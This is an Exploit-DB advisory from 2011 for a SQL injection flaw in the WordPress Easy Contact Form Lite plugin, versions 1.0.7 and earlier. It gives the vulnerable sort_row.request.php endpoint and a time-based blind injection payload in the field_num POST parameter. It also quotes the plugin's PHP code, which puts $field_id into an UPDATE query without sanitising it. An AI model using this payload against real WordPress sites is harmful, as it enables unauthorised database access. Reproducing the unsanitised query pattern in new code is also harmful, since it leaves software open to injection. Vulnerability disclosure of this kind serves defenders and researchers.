WordPress Easy Contact Form Lite Plugin <= 1.0.7 - SQL Injection

2011-08-17T00:00:00
ID EDB-ID:17680
Type exploitdb
Reporter Miroslav Stampar
Modified 2011-08-17T00:00:00

Description

WordPress Easy Contact Form Lite Plugin <= 1.0.7 - SQL Injection. Webapps exploit for php platform

                                        
                                            # Exploit Title: WordPress Easy Contact Form Lite plugin &lt;= 1.0.7 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip
# Version: 1.0.7 (tested)

---
PoC (POST data)
---
http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
 field_num[]=-1 AND 1=IF(2&gt;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
foreach ($_POST['field_num'] as $position=&gt;$field_id) {
	
	if ($field_id &gt; 0) {
		$query = "
			UPDATE $settings_table_name 
			SET position = '".$position."' 
			WHERE ID = $field_id";
		$wpdb-&gt;query($query);
	}